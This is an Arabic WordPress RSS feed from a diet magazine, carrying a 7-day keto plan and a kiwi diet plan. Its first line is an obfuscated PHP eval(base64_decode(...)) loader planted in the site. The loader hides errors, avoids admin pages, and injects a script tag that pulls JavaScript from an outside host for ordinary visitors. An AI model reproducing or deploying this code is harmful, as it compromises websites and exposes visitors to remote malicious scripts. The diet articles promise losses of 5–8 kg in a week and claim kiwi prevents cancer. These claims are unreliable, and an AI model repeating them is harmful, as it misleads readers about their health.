eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); جوزال | نظام غذائي لانقاص الوزن https://jouzal.com مجلة نسائية عربية Thu, 05 Dec 2019 17:19:41 +0000 ar hourly 1 https://jouzal.com/wp-content/uploads/2021/10/جوزال-2.png جوزال | نظام غذائي لانقاص الوزن https://jouzal.com 32 32 رجيم الكيتو بالتفصيل لخسارة 8 كيلو في أسبوع واحد بدون حرمان https://jouzal.com/%d8%b1%d8%ac%d9%8a%d9%85-%d8%a7%d9%84%d9%83%d9%8a%d8%aa%d9%88-%d8%a8%d8%a7%d9%84%d8%aa%d9%81%d8%b5%d9%8a%d9%84-%d9%84%d8%ae%d8%b3%d8%a7%d8%b1%d8%a9-8-%d9%83%d9%8a%d9%84%d9%88-%d9%81%d9%8a-%d8%a3%d8%b3/ Tue, 27 Aug 2019 08:25:52 +0000 https://jouzal.com/?p=3019 [highlight color=”green”]رجيم الكيتو بالتفصيل لخسارة 8 كيلو في أسبوع واحد بدون حرمان[/highlight]

يعتمد رجيم الكيتو على جعل مصدر الطاقه الرئيسي للجسم هو الدهون وليس الكربوهيدرات، ففي هذا النظام يجب اتباع بعض التعليمات :

  • يتم التوقف نهائيا عن تناول النشويات ويتم الحصول على الكربوهيدرات من خلال الخضروات الورقية وليس من النشويات.
  • فعندما يكون مصدر الطاقة الرئيسي هو الدهون و عند بذل اي نشاط او مجهود يستخدم الجسم مخزون الطاقة من الدهون فبتالي يتم حرقها.
  • يتم الاستغناء عن الفواكه بشكل عام عدا الفراولة والافوكادو.
  • يعتمد طهي الطعام على استخدام السمن الحيواني  مثل السمن البلدي والزبدة والابتعاد تماما عن الدهون النباتية ومنها السمن النباتي حيث يعتبر الدهن الحيواني مصدر أساسي.

و ينقسم نظام الكيتو إلى نوعين :

  • الكيتو الكلاسيكي
  • وهو يعتمد على البيض والبروتينات مثل السمك واللحم والدجاج والخضروات الورقية.

 

  • وصفات الكيتو
  • وفيها يفضل الاشخاص التنوع في تناول الطعام حيث يتناولون أكلات أخرى إلى جانب اكلات الكيتو الكلاسيكي مثل المحشي بانواعه ولكن باستخدام اللحم المفروم بدلا من الارز

[highlight color=”pink”]محتوى ذات صلة [/highlight]

انقاص الوزن بالسمنة البلدي بدون حرمان او مجهود بنظام الكيتو

رجيم سريع و صحي لخسارة 5 كيلو في اسبوع واحد فقط

رجيم قاراطاي بالتفصيل لخسارة 20 كيلو بدون جوع او حرمان مدي الحياة

رجيم الكيتو لفقدان 8 كيلو في اسبوع

رجيم الكيتو لفقدان 8 كيلو في اسبوع

[highlight color=”yellow”]و بترتيب الأيام يمكنك اتباع نظام الرجيم التالي :[/highlight]

[highlight color=”green”]اليوم الأول :[/highlight]

  • الإفطار : بيض مخفوق بالزبدة علي طبقة من الخس مغطاه بالأفوكادو.
  • وجبة خفيفة : بذور عباد الشمس.
  • الغذاء : سلطة السبانخ مع سمك السلمون المشوي.
  • وجبة خفيفة : شرائح من الكرفس وشرائح الفلفل.
  • العشاء : قطع اللحم مع هريس القرنبيط وسلطة الكرنب الأحمر.

[highlight color=”green”]اليوم الثاني :[/highlight]

  • الإفطار : قهوة ( مصنوعة من الزبدة وزيت جوز الهند ) ، وبيض مسلوق.
  • وجبة خفيفة : مكسرات المكاديميا.
  • الغذاء : سلطة التونة مع قطع الطماطم.
  • وجبة خفيفة : لحم البقر المشوي وشرائح الجبن الملفوفة.
  • العشاء : كرات اللحم مع معكرونة الكوسة ، مغطاة بصلصة الكريمة.

[highlight color=”green”]اليوم الثالث :[/highlight]

  • الإفطار : الجبن والبيض المقلي بالخضار مع الصلصة.
  • وجبة خفيفة : زبادي يوناني عادي  غني بالدهون.
  • الغذاء : تناول سايثمي مع الحساء.
  • وجبة خفيفة : عصير مصنوع من حليب اللوز ، الخضروات ، زبدة اللوز ومسحوق البرتين.
  • العشاء : دجاج مشوي مع الهليون ومشروم سوتيه ( مسلوق).

[highlight color=”green”]اليوم الرابع :[/highlight]

  • الإفطار : عصير مصنوع من حليب اللوز ، الخضروات وزبدة اللوز ومسحوق البروتين.
  • وجبة خفيفة : اثنان من البيض المسلوق.
  • الغذاء : قطع الدجاج الخالية من الجلد التي يتم طهيها من دقيق اللوز وطبقة من الخضار مع الخيار وجبن الماعز.
  • وجبة خفيفة : شرائح الجبن وشرائح الفلفل الحلو.
  • العشاء : جمبري مشوي مغطي بصلصة زبدة الليمون مع القليل من الهليون.

[highlight color=”green”]اليوم الخامس :[/highlight]

  • الإفطار : بيض مقلي مع اللحم وجزء من الخضار.
  • وجبة خفيفة : القليل من الجوز مع ربع كوب من التوت.
  • الغذاء : برغر بالخس ومغطي بالأفوكادو مع سلطة جانبية.
  • وجبة خفيفة : قطع من الكرفس المغموسة بزبدة اللوز.
  • العشاء : خبز التوفو مع الأرز والقرنبيط ، والفلفل والمغطاه مع صلصة الفول السوداني المصنوعة في المنزل.

[highlight color=”green”]اليوم السادس :[/highlight]

  • الإفطار : بيض مخبوز في أكواب الأفوكادو.
  • وجبة خفيفة : رقائق الشيبس الأخضر ( الكيل).
  • الغذاء : لفائف الأفوكادو الملفوفة مع السلمون الملفوفة في الأعشاب البحرية ( يجب أن تكون خالية من الأرز ).
  • وجبة خفيفة : بعض اللحوم ( الديك الرومي المدخن ).
  • العشاء : لحم البقر المشوي مع الفلفل والبروكلي المسلوق علي البخار.

[highlight color=”green”]اليوم السابع :[/highlight]

  • الإفطار : البيض المخفوق مع الخضار المغطي بالصلصة.
  • وجبة خفيفة : شرائح الأعشاب البحرية المجففة والجبن.
  • الغذاء : سلطة السردين المصنوعة مع المايونيز في نصف ثمرة أفوكادو.
  • وجبة خفيفة : turkey jerky ( يجب عدم إضافة سكريات ).
  • العشاء : سمك السلمون المشوي مع الزبدة.
]]> رجيم سريع و صحي لخسارة 5 كيلو في اسبوع واحد فقط https://jouzal.com/%d8%b1%d8%ac%d9%8a%d9%85-%d8%b3%d8%b1%d9%8a%d8%b9-%d9%88-%d8%b5%d8%ad%d9%8a-%d9%84%d8%ae%d8%b3%d8%a7%d8%b1%d8%a9-5-%d9%83%d9%8a%d9%84%d9%88-%d9%81%d9%8a-%d8%a7%d8%b3%d8%a8%d9%88%d8%b9-%d9%88%d8%a7/ Mon, 26 Aug 2019 21:25:08 +0000 https://jouzal.com/?p=3009 [highlight color=”green”]رجيم الكيوي رجيم سريع و صحي لخسارة 5 كيلو في اسبوع[/highlight]

رجيم سريع و صحي لخسارة 5 كيلو في اسبوع واحد فقط، يعتمد هذا النظام الغذائي على مكون اساسي و هو فاكهة الكيوي ، فاذا كنت من محبي الكيوى فانك ستستطيع تطبيق هذا النظام بكل سهولة دون ملل او احباط.

فمن خلال هذا النظام يمكنك خسارة وزن 5 كيلو فى مدة تتراوح بين أسبوع إلى 10 ايام و هى اقصى مدة ، و هذا الرجيم السريع صحي تماما للاشخاص اللذين لا يعانون اى امراض.

و لكن اذا كنت تعاني من اى مرض مثل السكر ، فقر الدم، امراض القلب، إلتهاب المعدة و كذلك مشاكل المعدة بشكل عام فلابد من استشارة طبيبك اولا لتطبيق رجيم سريع كهذا.

رجيم سريع و صحي ، رجيم الكيوي

رجيم سريع و صحي ، رجيم الكيوي

[highlight color=”red”]شاهد ايضا : [/highlight]

رجيم قاراطاي بالتفصيل لخسارة 20 كيلو بدون جوع او حرمان مدي الحياة

رجيم الصيام المتقطع بالتفصيل لخسارة 15 كيلو في شهر بدون حرمان

[highlight color=”yellow”]رجيم الكيوي[/highlight]

[highlight color=”green”]الفوائد الغذائية لفاكهة الكيوي :[/highlight]

المفاجأة أن فاكهة الكيوى حصدت اعلى نسبة قيمة غذائية بين الفواكه الاخرى و ذلك من خلال رسم بيانى يوضح الفوائد الغذائية العالية لهذه الفاكهة.

فهي غنية بالعديد من المعادن و الفيتامينات و العناصر الغذائية المفيدة للجسم و تحسين قدرته على التمثيل الغذائى حيث تحتوى على نسبة عالية من فيتامين ج و بذلك تتخطى فاكهة البرتقال الغنية ايضا بهذا الفيتامين.

الجدير بالذكر إن فاكهة الكيوي تقدم الكثير من الفوائد للمساعدة علي الهضم ، التحكم في ضغط الدم ،  تعزيز الجهاز المناعي ،  المساعدة في السيطرة علي نسبة السكر في الدم ،  تعزيز وظائف الكلي.

وتشمل الفوائد الأخري التي يقدمها الكيوي للجسم تخفيف الإمساك وتعزيز النوم المريح،  صحة الجلد ، منع الإصابة بالسرطان.

[highlight color=”orange”]فوائد الكيوي في رجيم سريع و صحي لخسارة الوزن [/highlight]

[highlight color=”gray”]هضم البروتين :[/highlight]

يحتوى على الانزيمات (إنزيم البروتينز النشط الاكتينيدات) التى تساعد على تكسير البروتينات بشكل اسرع مما يعزز من عملية الهضم بطريقة اسهل و اسرع.

[highlight color=”yellow”]مفيد لصحة الجهاز الهضمي :[/highlight]

إذا كنت تعاني من مشاكل في الجهاز الهضمي، يمكنك تناول الكيوي حيث يحتوي علي البريبيوتيك. بالإضافة إلي الأكتينيد وهو إنزيم يقوم بكسر البروتين كما ذكرنا وبالتالي يحسن من عمل الجهاز الهضمي.

إلى جانب مساهمته فى صحة الجهاز الهضمي فالكيوي يحتوي كل 100 جرام منه علي 55 سعرة حرارية فقط،  ويمكن الإستمتاع بمذاقها الجيد والمميز، كما أنه يحتوي علي الالياف التي تزيد من الشعور بالشبع لفترة اطول عند تناوله  وبالتالي يقلل من  ألام الجوع.

[highlight color=”yellow”]علاج ألم متلازمة القولون العصبي :[/highlight]

احيانا قد يتسبب اتباع نظام غذائي لفقدان الوزن فى الإصابة بالقولون العصبي، وبالتأكيد يمكنك تناول فاكهة الكيوي فهي الخيار المثالي لهذه المشكلة.

و بحسب الدراسات البحثية العالمية فان تناول 2 – 3 ثمرة الكيوي لمدة شهر تساعد في السيطرة علي حركة الامعاء وهذا يرجع إلي محتوي الألياف الغني في الكيوي والأكتيند .

[highlight color=”orange”]افضل طريقة لاستخدام الكيوي في نظامك الغذائي لانقاص الوزن [/highlight]

يمكنك الاستفادة بالقيمة الغذائية كاملة للكيوي من خلال إضافته إلي طعامك كجزء من وجبة الإفطار أو كوجبة خفيفة بين الأطعمة.

يجب أن يأكل الكيوي طازج  بشكل أفضل، فقط يمكنك غسله وازالة القشرة مع الغسيل ذات اللون البني الغامق او تقشيره وتقطيعه إلي أجزاء وتناوله.

كما يمكنك إضافة شرائح الكيوي كمقبلات مع الوجبات أو تجهيز عصير الكيوي المعروف بطعمه اللذيذ.

[highlight color=”blue”]نصائح عليك اتباعها في رجيم الكيوي :[/highlight]

  • عندالرغبة في تناول شئ حلو أو مقلي يمكنك تناول الكيوي.
  • ليس هناك حد معين لكمية تناولك من الكيوي لان سعراته الحرارية منخفضة، فتستطيع تناوله بالكمية التى تفضلها.
  • يجب شرب ما لا يقل عن 13 كوب من الماء ( 3 لتر ) يومياً ولا يقل عن 2 لتر.
  • يمنع تناول الحلوي والأطعمة الغنية بالدهون خلال هذا النظام الغذائي حيث تقلل من فاعليته.
  • لا تحاول إتباع رجيم الكيوي لمدة أطول إسبوع، لانه يعتمد بشكل اساسي على انواع معينة من البروتينات و الدهون و ليست متنوعة.

[highlight color=”yellow”]اليوم الأول :[/highlight]

  • وجبة الفطار : كوب من الجبن الصحي +  الكيوي المفروم .
  • وجبة خفيفة : كوب من قطع الكيوي .
  • وجبة الغذاء : شطيرة من الخبز مع سمك السلمون والكيوي .
  • وجبة العشاء : سلطة فواكه + عصير الكيوي .

[highlight color=”yellow”] اليوم الثاني :[/highlight]

  • وجبة الفطار : العصير الأخضر المكون من السبانخ مع الكيوي .
  • وجبة خفيفة : كوب كيوي .
  • وجبة الغذاء : سلطة الكيوي مع الخضروات والبصل والجزر وتبيلة القشطة الحامضة .
  • وجبة العشاء : سلطة الفواكه مع الأناناس والكيوي والمانجو.

[highlight color=”yellow”]اليوم الثالث :[/highlight]

  • وجبة الفطار : 2 ثمرة كيوي + مشروب الطاقة .
  • وجبة خفيفة : 2 كوب من قطع الكيوي .
  • وجبة الغذاء : أجنحة الدجاج المشوي مع شرائح الكيوي .
  • وجبة العشاء : كوب من الكيوي المفروم

[highlight color=”yellow”]اليوم الرابع :[/highlight]

  • وجبة الفطار : وعاء من سلطة الفواكه من البرتقال ، الكيوي ، التفاح ، الزبادي .
  • وجبة خفيفة : كوب من قطع الكيوي .
  • وجبة الغذاء : 40 جرام من شرائح صدور الديك الرومي المشوي +  وسلطة الخضروات مع شريحة من الكيوي .
  • وجبة العشاء : كوب من الكيوي المفروم.

[highlight color=”yellow”]اليوم الخامس :[/highlight]

  • وجبة الفطار :  1 ثمرة كيوي +  بيض مسلوق مع شرائح الخبز المحمص .
  • وجبة خفيفة : كوب من الكيوي المقطع .
  • وجبة الغذاء : وعاء من حساء البروكلي بالكريمة مع 2 ثمرة كيوي .
  • وجبة العشاء : كوب من الحليب الخالي من الدسم مع 3 ثمرة كيوي .

[highlight color=”yellow”]اليوم السادس :[/highlight]

  • وجبة الفطار : سلطة الفواكه مع البرتقال ، الكيوي ، التفاح ، الزبادي .
  • وجبة خفيفة : كوب من قطع الكيوي .
  • وجبة الغذاء : الجبن المشوي + بيضة مسلوقة  + ثمرة كيوي .
  • وجبة العشاء : سلطة الفواكه + فراولة ، مانجو ،  الزبادي .

[highlight color=”yellow”]اليوم السابع :[/highlight]

  • وجبة الفطار : بيض مخفوق مع الجبن + 2 كيوي .
  • وجبة خفيفة : كوب من قطع الكيوي .
  • وجبة الغذاء : وعاء من شوربة الطماطم .
  • وجبة العشاء : كوب من الكيوي .

[highlight color=”yellow”]اليوم الثامن :[/highlight]

  • وجبة الفطار :  سموثي المانجو بالأناناس + 1/2 كوب زبادي خالي من الدسم
  • وجبة خفيفة : 1 كوب من قطع الكيوي .
  • وجبة الغذاء : طبق متوسط الحجم من سلطة الجبن الفيتا الخالية من الدسم مع شرائح الخس .
  • وجبة العشاء :2 أونصه من سمك السلمون المشوي مع قطع القرنبيط السوتيه + 1 ثمرة كيوي .

[highlight color=”yellow”]اليوم التاسع :[/highlight]

  • وجبة الفطار :  1 أونصه من البطاطس المهروسة  +  2 ثمرة كيوي .
  • وجبة خفيفة . 1 كوب من الكيوي المقطع .
  • وجبة الغذاء : ساندوتش التونه مع الخيار والخس .
  • وجبة العشاء :1  حساء الفاصوليا باللحم المسلوق.

[highlight color=”yellow”]اليوم العاشر :[/highlight]

  • وجبة الفطار :  1 توست خبز محمص  مع شرائح الأفوكادو المقلي + 2 ثمرة كيوي .
  • وجبة خفيفه :1 كوب قطع الكيوي .
  • وجبة الغذاء : 3 شرائح السمك المشوي + 5 ملاعق أرز بني .
  • وجبة العشاء : 50 جرام من شرائح الدجاج المشوي مع جبن الباراميزان +2 ثمرة كيوي .
]]>